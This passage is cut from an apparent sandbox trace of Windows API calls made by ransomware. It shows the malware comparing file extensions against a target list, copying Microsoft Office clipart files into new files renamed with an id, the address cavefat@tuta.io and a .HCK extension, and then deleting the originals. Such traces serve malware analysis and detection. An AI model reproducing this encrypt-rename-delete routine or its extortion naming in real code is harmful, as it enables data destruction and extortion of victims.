Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0167.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0167.520] lstrlenW (lpString=".doc") returned 4 [0167.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.520] lstrlenW (lpString=".docx") returned 5 [0167.520] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0167.520] lstrlenW (lpString=".pdf") returned 4 [0167.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.520] lstrlenW (lpString=".xls") returned 4 [0167.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.520] lstrlenW (lpString=".xlsx") returned 5 [0167.520] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0167.520] lstrlenW (lpString=".ppt") returned 4 [0167.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0167.520] lstrlenW (lpString=".zip") returned 4 [0167.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.520] lstrlenW (lpString=".rar") returned 4 [0167.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.520] lstrlenW (lpString=".bz2") returned 4 [0167.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.520] lstrlenW (lpString=".7z") returned 3 [0167.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0167.520] lstrlenW (lpString=".dbf") returned 4 [0167.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0167.520] lstrlenW (lpString=".1cd") returned 4 [0167.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0167.520] lstrlenW (lpString=".jpg") returned 4 [0167.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0167.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0167.520] lstrlenW (lpString=".doc") returned 4 [0167.521] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.521] lstrlenW (lpString=".docx") returned 5 [0167.521] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0167.521] lstrlenW (lpString=".pdf") returned 4 [0167.521] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.521] lstrlenW (lpString=".xls") returned 4 [0167.521] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.521] lstrlenW (lpString=".xlsx") returned 5 [0167.521] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0167.521] lstrlenW (lpString=".ppt") returned 4 [0167.521] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0167.521] lstrlenW (lpString=".zip") returned 4 [0167.521] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.521] lstrlenW (lpString=".rar") returned 4 [0167.521] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.521] lstrlenW (lpString=".bz2") returned 4 [0167.521] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.521] lstrlenW (lpString=".7z") returned 3 [0167.521] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0167.521] lstrlenW (lpString=".dbf") returned 4 [0167.521] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0167.521] lstrlenW (lpString=".1cd") returned 4 [0167.521] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0167.521] lstrlenW (lpString=".jpg") returned 4 [0167.521] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.521] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.521] lstrlenW (lpString="J0107154.WMF") returned 12 [0167.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0167.524] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=22300) returned 1 [0167.524] CloseHandle (hObject=0x330) returned 1 [0167.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf")) returned 0x220 [0167.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0167.554] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.555] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0167.560] GetLastError () returned 0x0 [0167.561] ReadFile (in: hFile=0x378, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x571c, lpOverlapped=0x0) returned 1 [0167.562] WriteFile (in: hFile=0x360, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x5720, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x5720, lpOverlapped=0x0) returned 1 [0167.564] ReadFile (in: hFile=0x378, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.564] WriteFile (in: hFile=0x360, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.564] SetEndOfFile (hFile=0x360) returned 1 [0167.572] CloseHandle (hObject=0x360) returned 1 [0167.573] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.573] SetEndOfFile (hFile=0x378) returned 1 [0167.575] CloseHandle (hObject=0x378) returned 1 [0167.576] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.577] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf")) returned 1 [0167.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0167.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0167.585] lstrlenW (lpString=".doc") returned 4 [0167.585] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.585] lstrlenW (lpString=".docx") returned 5 [0167.585] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0167.585] lstrlenW (lpString=".pdf") returned 4 [0167.585] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.585] lstrlenW (lpString=".xls") returned 4 [0167.585] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.585] lstrlenW (lpString=".xlsx") returned 5 [0167.585] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0167.585] lstrlenW (lpString=".ppt") returned 4 [0167.585] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0167.585] lstrlenW (lpString=".zip") returned 4 [0167.585] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.585] lstrlenW (lpString=".rar") returned 4 [0167.585] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.585] lstrlenW (lpString=".bz2") returned 4 [0167.585] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.585] lstrlenW (lpString=".7z") returned 3 [0167.585] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0167.585] lstrlenW (lpString=".dbf") returned 4 [0167.585] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0167.585] lstrlenW (lpString=".1cd") returned 4 [0167.585] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0167.585] lstrlenW (lpString=".jpg") returned 4 [0167.585] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0167.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0167.585] lstrlenW (lpString=".doc") returned 4 [0167.585] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.585] lstrlenW (lpString=".docx") returned 5 [0167.585] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0167.586] lstrlenW (lpString=".pdf") returned 4 [0167.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.586] lstrlenW (lpString=".xls") returned 4 [0167.586] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.586] lstrlenW (lpString=".xlsx") returned 5 [0167.586] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0167.586] lstrlenW (lpString=".ppt") returned 4 [0167.586] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0167.586] lstrlenW (lpString=".zip") returned 4 [0167.586] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.586] lstrlenW (lpString=".rar") returned 4 [0167.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.586] lstrlenW (lpString=".bz2") returned 4 [0167.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.586] lstrlenW (lpString=".7z") returned 3 [0167.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0167.586] lstrlenW (lpString=".dbf") returned 4 [0167.586] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0167.586] lstrlenW (lpString=".1cd") returned 4 [0167.586] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0167.586] lstrlenW (lpString=".jpg") returned 4 [0167.586] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.586] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.586] lstrlenW (lpString="J0107192.WMF") returned 12 [0167.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0167.594] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=9968) returned 1 [0167.594] CloseHandle (hObject=0x370) returned 1 [0167.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf")) returned 0x220 [0167.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0167.611] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.611] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0167.631] GetLastError () returned 0x0 [0167.631] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x26f0, lpOverlapped=0x0) returned 1 [0167.633] WriteFile (in: hFile=0x2f4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x2700, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x2700, lpOverlapped=0x0) returned 1 [0167.634] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.634] WriteFile (in: hFile=0x2f4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.634] SetEndOfFile (hFile=0x2f4) returned 1 [0167.637] CloseHandle (hObject=0x2f4) returned 1 [0167.639] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.639] SetEndOfFile (hFile=0x390) returned 1 [0167.646] CloseHandle (hObject=0x390) returned 1 [0167.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.647] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf")) returned 1 [0167.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0167.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0167.651] lstrlenW (lpString=".doc") returned 4 [0167.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.651] lstrlenW (lpString=".docx") returned 5 [0167.651] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.651] lstrlenW (lpString=".pdf") returned 4 [0167.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.651] lstrlenW (lpString=".xls") returned 4 [0167.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.651] lstrlenW (lpString=".xlsx") returned 5 [0167.651] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.651] lstrlenW (lpString=".ppt") returned 4 [0167.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0167.651] lstrlenW (lpString=".zip") returned 4 [0167.651] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.651] lstrlenW (lpString=".rar") returned 4 [0167.651] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.651] lstrlenW (lpString=".bz2") returned 4 [0167.651] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.651] lstrlenW (lpString=".7z") returned 3 [0167.651] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0167.651] lstrlenW (lpString=".dbf") returned 4 [0167.651] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0167.652] lstrlenW (lpString=".1cd") returned 4 [0167.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0167.652] lstrlenW (lpString=".jpg") returned 4 [0167.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0167.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0167.652] lstrlenW (lpString=".doc") returned 4 [0167.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.652] lstrlenW (lpString=".docx") returned 5 [0167.652] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.652] lstrlenW (lpString=".pdf") returned 4 [0167.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.652] lstrlenW (lpString=".xls") returned 4 [0167.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.652] lstrlenW (lpString=".xlsx") returned 5 [0167.652] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.652] lstrlenW (lpString=".ppt") returned 4 [0167.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0167.652] lstrlenW (lpString=".zip") returned 4 [0167.652] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.652] lstrlenW (lpString=".rar") returned 4 [0167.652] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.652] lstrlenW (lpString=".bz2") returned 4 [0167.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.652] lstrlenW (lpString=".7z") returned 3 [0167.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0167.652] lstrlenW (lpString=".dbf") returned 4 [0167.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0167.652] lstrlenW (lpString=".1cd") returned 4 [0167.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0167.652] lstrlenW (lpString=".jpg") returned 4 [0167.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.652] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.653] lstrlenW (lpString="J0107264.WMF") returned 12 [0167.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0167.661] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=5272) returned 1 [0167.661] CloseHandle (hObject=0x394) returned 1 [0167.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf")) returned 0x220 [0167.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0167.665] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.665] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0167.673] GetLastError () returned 0x0 [0167.673] ReadFile (in: hFile=0x398, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1498, lpOverlapped=0x0) returned 1 [0167.680] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x14a0, lpOverlapped=0x0) returned 1 [0167.681] ReadFile (in: hFile=0x398, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.681] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.681] SetEndOfFile (hFile=0x394) returned 1 [0167.684] CloseHandle (hObject=0x394) returned 1 [0167.686] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.686] SetEndOfFile (hFile=0x398) returned 1 [0167.691] CloseHandle (hObject=0x398) returned 1 [0167.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf")) returned 1 [0167.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0167.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0167.693] lstrlenW (lpString=".doc") returned 4 [0167.693] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.693] lstrlenW (lpString=".docx") returned 5 [0167.693] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0167.693] lstrlenW (lpString=".pdf") returned 4 [0167.693] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.693] lstrlenW (lpString=".xls") returned 4 [0167.693] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.693] lstrlenW 